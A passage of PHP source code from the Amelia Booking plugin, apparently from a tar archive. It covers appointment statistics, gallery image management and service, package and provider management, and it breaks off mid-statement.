$appointmentsPackageCustomerServices */ $appointmentsPackageCustomerServices = $packageApplicationService->getPackageCustomerServicesForAppointments( $appointments ); $stats = []; $statsPeriod = new \DatePeriod( DateTimeService::getCustomDateTimeObject($params['dates'][0]), new \DateInterval('P1D'), DateTimeService::getCustomDateTimeObject($params['dates'][1]) ); /** @var DateTime $date */ foreach ($statsPeriod as $date) { $stats[$date->format('Y-m-d')] = null; } $weekDaysData = []; $specialDatesData = []; $providersDaysOff = []; /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { $providerId = $provider->getId()->getValue(); $providersDaysOff[$providerId] = []; /** @var DayOff $daysOff */ foreach ($provider->getDayOffList()->getItems() as $daysOff) { $daysOffPeriod = new \DatePeriod( $daysOff->getStartDate()->getValue(), new \DateInterval('P1D'), DateTimeService::getCustomDateTimeObject( $daysOff->getEndDate()->getValue()->format('Y-m-d H:i:s') )->modify('+1 days') ); /** @var DateTime $date */ foreach ($daysOffPeriod as $date) { $providersDaysOff[$providerId][] = $date->format('Y-m-d'); } } // get provider week day available time /** @var WeekDay $weekDay */ foreach ($provider->getWeekDayList()->getItems() as $weekDay) { $dayIndex = $weekDay->getDayIndex()->getValue(); if (!array_key_exists($dayIndex, $weekDaysData)) { $weekDaysData[$dayIndex] = []; } if ($weekDay->getPeriodList()->length() === 0) { $weekDay->getPeriodList()->addItem( PeriodFactory::create( [ 'startTime' => $weekDay->getStartTime()->getValue()->format('H:i:s'), 'endTime' => $weekDay->getEndTime()->getValue()->format('H:i:s'), 'periodServiceList' => [], 'periodLocationList' => [], ] ) ); } $weekDaysData[$dayIndex][$providerId] = $providerApplicationService->getProviderScheduleIntervals( $weekDay->getPeriodList(), $weekDay->getTimeOutList() ); } // get provider special day available time /** @var SpecialDay $specialDay */ foreach ($provider->getSpecialDayList()->getItems() as $specialDay) { $specialDaysPeriod = new \DatePeriod( $specialDay->getStartDate()->getValue(), new \DateInterval('P1D'), DateTimeService::getCustomDateTimeObject( $specialDay->getEndDate()->getValue()->format('Y-m-d H:i:s') )->modify('+1 days') ); $specialDayExist = false; foreach ($specialDaysPeriod as $date) { if (array_key_exists($date->format('Y-m-d'), $stats)) { $specialDayExist = true; continue; } } if ($specialDayExist) { $providerSpecialDaysIntervals = $providerApplicationService->getProviderScheduleIntervals( $specialDay->getPeriodList(), new Collection() ); /** @var DateTime $date */ foreach ($specialDaysPeriod as $date) { $dateString = $date->format('Y-m-d'); if (array_key_exists($dateString, $stats)) { if (!array_key_exists($dateString, $specialDatesData)) { $specialDatesData[$dateString] = []; } $specialDatesData[$dateString][$providerId] = $providerSpecialDaysIntervals; } } } } } $appointmentDatesData = []; /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { $date = $appointment->getBookingStart()->getValue()->format('Y-m-d'); $providerId = $appointment->getProviderId()->getValue(); $serviceId = $appointment->getServiceId()->getValue(); $appointmentDuration = $appointment->getBookingEnd()->getValue()->diff( $appointment->getBookingStart()->getValue() ); if (!array_key_exists($date, $appointmentDatesData)) { $appointmentDatesData[$date] = [ 'providers' => [], 'services' => [] ]; } if (!array_key_exists($providerId, $appointmentDatesData[$date]['providers'])) { $appointmentDatesData[$date]['providers'][$providerId] = [ 'count' => 0, 'occupied' => 0, 'revenue' => 0 ]; } if (!array_key_exists($serviceId, $appointmentDatesData[$date]['services'])) { $appointmentDatesData[$date]['services'][$serviceId] = [ 'count' => 0, 'occupied' => 0, 'revenue' => 0 ]; } $occupiedDuration = $appointmentDuration->h * 60 + $appointmentDuration->i; $appointmentDatesData[$date]['providers'][$providerId]['count']++; $appointmentDatesData[$date]['providers'][$providerId]['occupied'] += $occupiedDuration; $appointmentDatesData[$date]['services'][$serviceId]['count']++; $appointmentDatesData[$date]['services'][$serviceId]['occupied'] += $occupiedDuration; /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($booking->getPackageCustomerService()) { $packageApplicationService->updatePackageStatsData( $packageDatesData, $appointmentsPackageCustomerServices, $booking->getPackageCustomerService()->getId()->getValue(), $date, $occupiedDuration ); } else { /** @var Payment $payment */ foreach ($booking->getPayments()->getItems() as $payment) { $appointmentDatesData[$date]['providers'][$providerId]['revenue'] += $payment->getAmount()->getValue(); $appointmentDatesData[$date]['services'][$serviceId]['revenue'] += $payment->getAmount()->getValue(); } } } } foreach ($stats as $dateKey => $dateStats) { $dayIndex = DateTimeService::getCustomDateTimeObject($dateKey)->format('N'); // parse week day for provider if (array_key_exists($dayIndex, $weekDaysData)) { foreach ($weekDaysData[$dayIndex] as $providerKey => $weekDayData) { if (!in_array($dateKey, $providersDaysOff[$providerKey], true)) { $stats[$dateKey]['providers'][$providerKey] = [ 'count' => 0, 'occupied' => 0, 'revenue' => 0, 'intervals' => $weekDayData ]; } } } // parse special day for provider if (array_key_exists($dateKey, $specialDatesData)) { foreach ($specialDatesData[$dateKey] as $providerKey => $specialDayData) { if (!in_array($dateKey, $providersDaysOff[$providerKey], true)) { $stats[$dateKey]['providers'][$providerKey] = [ 'count' => 0, 'occupied' => 0, 'revenue' => 0, 'intervals' => $specialDayData ]; } } } if (array_key_exists($dateKey, $appointmentDatesData)) { foreach ($appointmentDatesData[$dateKey]['providers'] as $providerKey => $appointmentStatsData) { if (empty($stats[$dateKey]['providers']) || !array_key_exists($providerKey, $stats[$dateKey]['providers']) ) { $stats[$dateKey]['providers'][$providerKey] = [ 'intervals' => [] ]; } $stats[$dateKey]['providers'][$providerKey]['count'] = $appointmentStatsData['count']; $stats[$dateKey]['providers'][$providerKey]['occupied'] = $appointmentStatsData['occupied']; $stats[$dateKey]['providers'][$providerKey]['revenue'] = $appointmentStatsData['revenue']; } foreach ($appointmentDatesData[$dateKey]['services'] as $serviceKey => $appointmentStatsData) { $stats[$dateKey]['services'][$serviceKey]['count'] = $appointmentStatsData['count']; $stats[$dateKey]['services'][$serviceKey]['occupied'] = $appointmentStatsData['occupied']; $stats[$dateKey]['services'][$serviceKey]['revenue'] = $appointmentStatsData['revenue']; } } if (array_key_exists($dateKey, $packageDatesData)) { foreach ($packageDatesData[$dateKey] as $packageKey => $packageStatsData) { $stats[$dateKey]['packages'][$packageKey]['count'] = $packageStatsData['count']; $stats[$dateKey]['packages'][$packageKey]['purchased'] = $packageStatsData['purchased']; $stats[$dateKey]['packages'][$packageKey]['occupied'] = $packageStatsData['occupied']; $stats[$dateKey]['packages'][$packageKey]['revenue'] = $packageStatsData['revenue']; $stats[$dateKey]['packages'][$packageKey]['intervals'] = []; } } } return $stats; } /** * @param $params * * @return array * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getEmployeesStats($params) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); $appointments = $providerRepository->getAllNumberOfAppointments($params); $views = $providerRepository->getAllNumberOfViews($params); return array_values(array_replace_recursive($appointments, $views)); } /** * @param $providerId * * @return bool * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function addEmployeesViewsStats($providerId) { /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); $providerRepository->beginTransaction(); if (!$providerRepository->addViewStats($providerId)) { $providerRepository->rollback(); return false; } return $providerRepository->commit(); } /** * @param $params * * @return array * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getServicesStats($params) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); $appointments = $serviceRepository->getAllNumberOfAppointments($params); $views = $serviceRepository->getAllNumberOfViews($params); return array_values(array_replace_recursive($appointments, $views)); } /** * @param $serviceId * * @return bool * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function addServicesViewsStats($serviceId) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); $serviceRepository->beginTransaction(); if (!$serviceRepository->addViewStats($serviceId)) { $serviceRepository->rollback(); return false; } return $serviceRepository->commit(); } /** * @param $params * * @return array * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getLocationsStats($params) { /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); $appointments = $locationRepository->getAllNumberOfAppointments($params); $views = $locationRepository->getAllNumberOfViews($params); return array_values(array_replace_recursive($appointments, $views)); } /** * @param $locationId * * @return bool * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function addLocationsViewsStats($locationId) { /** @var LocationRepository $locationRepository */ if ($locationId) { $locationRepository = $this->container->get('domain.locations.repository'); $locationRepository->beginTransaction(); if (!$locationRepository->addViewStats($locationId)) { $locationRepository->rollback(); return false; } return $locationRepository->commit(); } return false; } } Services/Gallery/GalleryApplicationService.php 0000666 00000007142 15165412624 0015561 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Gallery; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Gallery\GalleryImage; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Gallery\GalleryRepository; /** * Class GalleryApplicationService * * @package AmeliaBooking\Application\Services\Gallery */ class GalleryApplicationService { private $container; /** * GalleryApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param Collection $entityGallery * @param int $entityId * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function manageGalleryForEntityAdd($entityGallery, $entityId) { /** @var GalleryRepository $galleryRepository */ $galleryRepository = $this->container->get('domain.galleries.repository'); /** @var GalleryImage $image */ foreach ($entityGallery->getItems() as $image) { $image->setEntityId(new Id($entityId)); if (!($imageId = $galleryRepository->add($image))) { $galleryRepository->rollback(); } $image->setId(new Id($imageId)); } } /** * @param Collection $entityGallery * @param int $entityId * @param string $entityType * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function manageGalleryForEntityUpdate($entityGallery, $entityId, $entityType) { /** @var GalleryRepository $galleryRepository */ $galleryRepository = $this->container->get('domain.galleries.repository'); $imagesIds = []; /** @var GalleryImage $image */ foreach ($entityGallery->getItems() as $image) { if ($image->getId()) { $imagesIds[] = $image->getId()->getValue(); } } if (!$galleryRepository->deleteAllNotInImagesArray( $imagesIds, $entityId, $entityType )) { $galleryRepository->rollback(); } /** @var GalleryImage $image */ foreach ($entityGallery->getItems() as $image) { if (!$image->getId()) { $galleryRepository->add($image); } else { $galleryRepository->update($image->getId()->getValue(), $image); } } } /** * @param Collection $entityGallery * * @return boolean * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function manageGalleryForEntityDelete($entityGallery) { /** @var GalleryRepository $galleryRepository */ $galleryRepository = $this->container->get('domain.galleries.repository'); /** @var GalleryImage $image */ foreach ($entityGallery->getItems() as $image) { if (!$galleryRepository->delete($image->getId()->getValue())) { $galleryRepository->rollback(); return false; } } return true; } } Services/Bookable/BookableApplicationService.php 0000666 00000146354 15165412624 0016030 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Bookable; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Gallery\GalleryApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Package; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomer; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomerService; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageService; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Schedule\Period; use AmeliaBooking\Domain\Entity\Schedule\PeriodService; use AmeliaBooking\Domain\Entity\Schedule\SpecialDay; use AmeliaBooking\Domain\Entity\Schedule\SpecialDayPeriod; use AmeliaBooking\Domain\Entity\Schedule\SpecialDayPeriodService; use AmeliaBooking\Domain\Entity\Schedule\WeekDay; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Bookable\Service\PackageServiceFactory; use AmeliaBooking\Domain\Factory\Location\LocationFactory; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Duration; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\Number\Integer\PositiveInteger; use AmeliaBooking\Domain\ValueObjects\Number\Integer\WholeNumber; use AmeliaBooking\Domain\ValueObjects\PositiveDuration; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ExtraRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageServiceLocationRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageServiceProviderRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ProviderServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ResourceEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingExtraRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponServiceRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponPackageRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldServiceRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodServiceRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodServiceRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class BookableApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class BookableApplicationService { private $container; /** * BookableApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param int $serviceId * @param int $providerId * * @return Service * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws NotFoundException */ public function getAppointmentService($serviceId, $providerId) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var Collection $providerServices */ $providerServices = $serviceRepository->getProviderServicesWithExtras($serviceId, $providerId); return $providerServices->keyExists($serviceId) ? $providerServices->getItem($serviceId) : $serviceRepository->getById($serviceId); } /** * @param Collection $categories * @param Collection $services * * @throws InvalidArgumentException */ public function addServicesToCategories($categories, $services) { /** @var Category $category */ foreach ($categories->getItems() as $category) { $category->setServiceList(new Collection()); } /** @var Service $service */ foreach ($services->getItems() as $service) { $categoryId = $service->getCategoryId()->getValue(); $categories ->getItem($categoryId) ->getServiceList() ->addItem($service, $service->getId()->getValue()); } } /** * @param Service $service * @param Collection $providers * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function manageProvidersForServiceAdd($service, $providers) { /** @var ProviderServiceRepository $providerServiceRepo */ $providerServiceRepo = $this->container->get('domain.bookable.service.providerService.repository'); /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { $providerServiceRepo->add($service, $provider->getId()->getValue()); } } /** * @param Package $package * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function manageServicesForPackageAdd($package) { /** @var PackageServiceRepository $packageServiceRepository */ $packageServiceRepository = $this->container->get('domain.bookable.package.packageService.repository'); /** @var PackageServiceLocationRepository $packageServiceLocationRepository */ $packageServiceLocationRepository = $this->container->get('domain.bookable.package.packageServiceLocation.repository'); /** @var PackageServiceProviderRepository $packageServiceProviderRepository */ $packageServiceProviderRepository = $this->container->get('domain.bookable.package.packageServiceProvider.repository'); /** @var PackageService $bookable */ foreach ($package->getBookable()->getItems() as $bookable) { $bookableId = $packageServiceRepository->add($bookable, $package->getId()->getValue()); $bookable->setId(new Id($bookableId)); /** @var Location $location */ foreach ($bookable->getLocations()->getItems() as $location) { $packageServiceLocationRepository->add($location, $bookable->getId()->getValue()); } /** @var Provider $provider */ foreach ($bookable->getProviders()->getItems() as $provider) { $packageServiceProviderRepository->add($provider, $bookable->getId()->getValue()); } } } /** * @param Package $package * @param array $bookableServices * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function manageServicesForPackageUpdate($package, $bookableServices) { /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); /** @var PackageServiceRepository $packageServiceRepository */ $packageServiceRepository = $this->container->get('domain.bookable.package.packageService.repository'); /** @var PackageServiceLocationRepository $packageServiceLocationRepository */ $packageServiceLocationRepository = $this->container->get('domain.bookable.package.packageServiceLocation.repository'); /** @var PackageServiceProviderRepository $packageServiceProviderRepository */ $packageServiceProviderRepository = $this->container->get('domain.bookable.package.packageServiceProvider.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var Collection $services */ $services = $serviceRepository->getByCriteria(['services' => array_keys($bookableServices)]); /** @var Package $oldPackage */ $oldPackage = $packageRepository->getById($package->getId()->getValue()); $oldPackageServicesIds = []; /** @var PackageService $oldPackageService */ foreach ($oldPackage->getBookable()->getItems() as $oldPackageService) { $serviceId = $oldPackageService->getService()->getId()->getValue(); $oldPackageServicesIds[$serviceId] = [ 'providersIds' => [], 'locationsIds' => [], ]; /** @var Location $location */ foreach ($oldPackageService->getLocations()->getItems() as $location) { $oldPackageServicesIds[$serviceId]['locationsIds'][] = $location->getId()->getValue(); } /** @var Provider $provider */ foreach ($oldPackageService->getProviders()->getItems() as $provider) { $oldPackageServicesIds[$serviceId]['providersIds'][] = $provider->getId()->getValue(); } } foreach ($bookableServices as $serviceId => $data) { if (!in_array($serviceId, array_keys($oldPackageServicesIds), false)) { $packageService = PackageServiceFactory::create( [ 'service' => $services->getItem($serviceId)->toArray(), 'quantity' => $data['quantity'], 'minimumScheduled' => $data['minimumScheduled'], 'maximumScheduled' => $data['maximumScheduled'], 'allowProviderSelection' => $data['allowProviderSelection'], 'providers' => $data['providers'], 'locations' => $data['locations'], ] ); $packageServiceId = $packageServiceRepository->add($packageService, $package->getId()->getValue()); $packageService->setId(new Id($packageServiceId)); /** @var Location $location */ foreach ($packageService->getLocations()->getItems() as $location) { $packageServiceLocationRepository->add($location, $packageService->getId()->getValue()); } /** @var Provider $provider */ foreach ($packageService->getProviders()->getItems() as $provider) { $packageServiceProviderRepository->add($provider, $packageService->getId()->getValue()); } } } /** @var PackageService $oldPackageService */ foreach ($oldPackage->getBookable()->getItems() as $oldPackageService) { $serviceId = $oldPackageService->getService()->getId()->getValue(); if (in_array($serviceId, array_keys($bookableServices), false)) { $oldPackageService->setQuantity(new PositiveInteger($bookableServices[$serviceId]['quantity'])); $oldPackageService->setMinimumScheduled( new WholeNumber($bookableServices[$serviceId]['minimumScheduled']) ); $oldPackageService->setMaximumScheduled( new WholeNumber($bookableServices[$serviceId]['maximumScheduled']) ); $oldPackageService->setAllowProviderSelection( new BooleanValueObject($bookableServices[$serviceId]['allowProviderSelection']) ); $packageServiceRepository->update($oldPackageService->getId()->getValue(), $oldPackageService); foreach ($bookableServices[$serviceId]['locations'] as $data) { if (!in_array($data['id'], $oldPackageServicesIds[$serviceId]['locationsIds'], false)) { $packageServiceLocationRepository->add( LocationFactory::create($data), $oldPackageService->getId()->getValue() ); } } $packageServiceLocationRepository->deleteAllNotInLocationsServicesArrayForPackage( array_column($bookableServices[$serviceId]['locations'], 'id'), $oldPackageService->getId()->getValue() ); foreach ($bookableServices[$serviceId]['providers'] as $data) { if (!in_array($data['id'], $oldPackageServicesIds[$serviceId]['providersIds'], false)) { $packageServiceProviderRepository->add( UserFactory::create($data), $oldPackageService->getId()->getValue() ); } } $packageServiceProviderRepository->deleteAllNotInProvidersServicesArrayForPackage( array_column($bookableServices[$serviceId]['providers'], 'id'), $oldPackageService->getId()->getValue() ); } else { $packageServiceLocationRepository->deleteAllNotInLocationsServicesArrayForPackage( $oldPackageServicesIds[$serviceId]['locationsIds'], $oldPackageService->getId()->getValue() ); $packageServiceProviderRepository->deleteAllNotInProvidersServicesArrayForPackage( $oldPackageServicesIds[$serviceId]['providersIds'], $oldPackageService->getId()->getValue() ); } } $packageServiceRepository->deleteAllNotInServicesArrayForPackage( array_keys($bookableServices), $package->getId()->getValue() ); } /** * @param Service $service * @param array $serviceProvidersIds * @param bool $updateCustomPricing * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function manageProvidersForServiceUpdate($service, $serviceProvidersIds, $updateCustomPricing) { /** @var ProviderRepository $providerRepo */ $providerRepo = $this->container->get('domain.users.providers.repository'); /** @var ProviderServiceRepository $providerServiceRepo */ $providerServiceRepo = $this->container->get('domain.bookable.service.providerService.repository'); /** @var PeriodServiceRepository $periodServiceRepo */ $periodServiceRepo = $this->container->get('domain.schedule.period.service.repository'); /** @var SpecialDayPeriodServiceRepository $specialDayPeriodServiceRepo */ $specialDayPeriodServiceRepo = $this->container->get('domain.schedule.specialDay.period.service.repository'); /** @var Collection $serviceProviders */ $serviceProviders = $providerRepo->getByCriteria(['services' => [$service->getId()->getValue()]]); $serviceId = $service->getId()->getValue(); /** @var Provider $provider */ foreach ($serviceProviders->getItems() as $provider) { $isServiceProvider = in_array($provider->getId()->getValue(), $serviceProvidersIds, false); if (!$isServiceProvider) { /** @var WeekDay $weekDay */ foreach ($provider->getWeekDayList()->getItems() as $weekDay) { /** @var Period $period */ foreach ($weekDay->getPeriodList()->getItems() as $period) { /** @var PeriodService $periodService */ foreach ($period->getPeriodServiceList()->getItems() as $periodService) { if ($periodService->getServiceId()->getValue() === $serviceId) { $periodServiceRepo->delete($periodService->getId()->getValue()); } } } } /** @var SpecialDay $specialDay */ foreach ($provider->getSpecialDayList()->getItems() as $specialDay) { /** @var SpecialDayPeriod $period */ foreach ($specialDay->getPeriodList()->getItems() as $period) { /** @var SpecialDayPeriodService $periodService */ foreach ($period->getPeriodServiceList()->getItems() as $periodService) { if ($periodService->getServiceId()->getValue() === $serviceId) { $specialDayPeriodServiceRepo->delete($periodService->getId()->getValue()); } } } } } if ($updateCustomPricing && $isServiceProvider) { /** @var Service $providerService */ foreach ($provider->getServiceList()->getItems() as $providerService) { $updateProviderService = false; if ((!$providerService->getCustomPricing() && $service->getCustomPricing()) || ($providerService->getCustomPricing() && !$service->getCustomPricing()) ) { $updateProviderService = true; $providerService->setCustomPricing($service->getCustomPricing()); } elseif ($service->getCustomPricing() && $providerService->getCustomPricing()) { $serviceCustomPricing = json_decode($service->getCustomPricing()->getValue(), true); $providerCustomPricing = json_decode($providerService->getCustomPricing()->getValue(), true); foreach ($serviceCustomPricing['durations'] as $duration => $durationData) { if (array_key_exists($duration, $providerCustomPricing['durations'])) { $serviceCustomPricing['durations'][$duration] = $providerCustomPricing['durations'][$duration]; } else { $updateProviderService = true; } } if ($serviceCustomPricing['enabled'] !== $providerCustomPricing['enabled']) { $updateProviderService = true; } $providerService->setCustomPricing(new Json(json_encode($serviceCustomPricing))); if (!$updateProviderService) { foreach ($providerCustomPricing['durations'] as $duration => $durationData) { if (!array_key_exists($duration, $serviceCustomPricing['durations'])) { $updateProviderService = true; } } } } if ($updateProviderService) { $providerServiceRepo->updateServiceForProvider( $providerService, $providerService->getId()->getValue(), $provider->getId()->getValue() ); } } } } $providerServiceRepo->deleteAllNotInProvidersArrayForService($serviceProvidersIds, $serviceId); foreach ($serviceProvidersIds as $providerId) { if (!in_array($providerId, $serviceProviders->keys(), false)) { $providerServiceRepo->add($service, (int)$providerId); } } } /** * @param Service $service * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function managePackagesForServiceUpdate($service) { /** @var PackageRepository $packageRepository */ $packageRepository = $this->container->get('domain.bookable.package.repository'); /** @var Collection $packages */ $packages = $packageRepository->getByCriteria([]); /** @var Package $package */ foreach ($packages->getItems() as $package) { $hasService = false; /** @var PackageService $bookable */ foreach ($package->getBookable()->getItems() as $bookable) { if ($bookable->getService()->getId()->getValue() === $service->getId()->getValue()) { $hasService = true; break; } } if ($hasService && $package->getCalculatedPrice()->getValue()) { $price = 0; /** @var PackageService $bookable */ foreach ($package->getBookable()->getItems() as $bookable) { $price += $bookable->getService()->getPrice()->getValue() * $bookable->getQuantity()->getValue(); } $package->setPrice(new Price($price)); $packageRepository->update($package->getId()->getValue(), $package); } } } /** * @param Service $service * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function manageExtrasForServiceAdd($service) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ExtraRepository $extraRepository */ $extraRepository = $this->container->get('domain.bookable.extra.repository'); if ($service->getExtras() !== null) { $extras = $service->getExtras(); foreach ($extras->getItems() as $extra) { /** @var Extra $extra */ $extra->setServiceId(new Id($service->getId()->getValue())); if (!($extraId = $extraRepository->add($extra))) { $serviceRepository->rollback(); } $extra->setId(new Id($extraId)); } } } /** * @param Service $service * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function manageExtrasForServiceUpdate($service) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ExtraRepository $extraRepository */ $extraRepository = $this->container->get('domain.bookable.extra.repository'); if ($service->getExtras() !== null) { $extras = $service->getExtras(); foreach ($extras->getItems() as $extra) { /** @var Extra $extra */ $extra->setServiceId(new Id($service->getId()->getValue())); if ($extra->getId() === null) { if (!($extraId = $extraRepository->add($extra))) { $serviceRepository->rollback(); } $extra->setId(new Id($extraId)); } else { if (!$extraRepository->update($extra->getId()->getValue(), $extra)) { $serviceRepository->rollback(); } } } } } /** * Accept two collection: services and providers * For each service function will add providers that are working on this service * * @param Service $service * @param Collection $providers * * @return Collection * * @throws InvalidArgumentException */ public function getServiceProviders($service, $providers) { $serviceProviders = new Collection(); /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { /** @var Service $providerService */ foreach ($provider->getServiceList()->getItems() as $providerService) { if ($providerService->getId()->getValue() === $service->getId()->getValue()) { $serviceProviders->addItem($provider, $provider->getId()->getValue()); } } } return $serviceProviders; } /** * Add 0 as duration for service time before or time after if it is null * * @param Service $service * * @throws InvalidArgumentException */ public function checkServiceTimes($service) { if (!$service->getTimeBefore()) { $service->setTimeBefore(new Duration(0)); } if (!$service->getTimeAfter()) { $service->setTimeAfter(new Duration(0)); } } /** * Return collection of extras that are passed in $extraIds array for provided service * * @param array $extraIds * @param Service $service * * @return Collection * @throws InvalidArgumentException */ public function filterServiceExtras($extraIds, $service) { $extras = new Collection(); foreach ((array)$service->getExtras()->keys() as $extraKey) { /** @var Extra $extra */ $extra = $service->getExtras()->getItem($extraKey); if (in_array($extra->getId()->getValue(), $extraIds, false)) { if (!$extra->getDuration()) { $extra->setDuration(new Duration(0)); } $extras->addItem($extra, $extraKey); } } return $extras; } /** * * @param array $servicesIds * * @return array * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getAppointmentsCountForServices($servicesIds) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); $futureAppointmentsCount = $appointmentRepository->getPeriodAppointmentsCount( [ 'services' => $servicesIds, 'dates' => [ 0 => DateTimeService::getNowDateTime() ] ] ); $pastAppointmentsCount = $appointmentRepository->getPeriodAppointmentsCount( [ 'services' => $servicesIds, 'dates' => [ 1 => DateTimeService::getNowDateTime() ] ] ); if ($futureAppointmentsCount) { return [ 'futureAppointments' => $futureAppointmentsCount, 'pastAppointments' => $pastAppointmentsCount, ]; } $futureAppointments = 0; $pastAppointments = 0; /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered(['services' => $servicesIds]); /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByCriteria(['services' => $servicesIds]); /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = 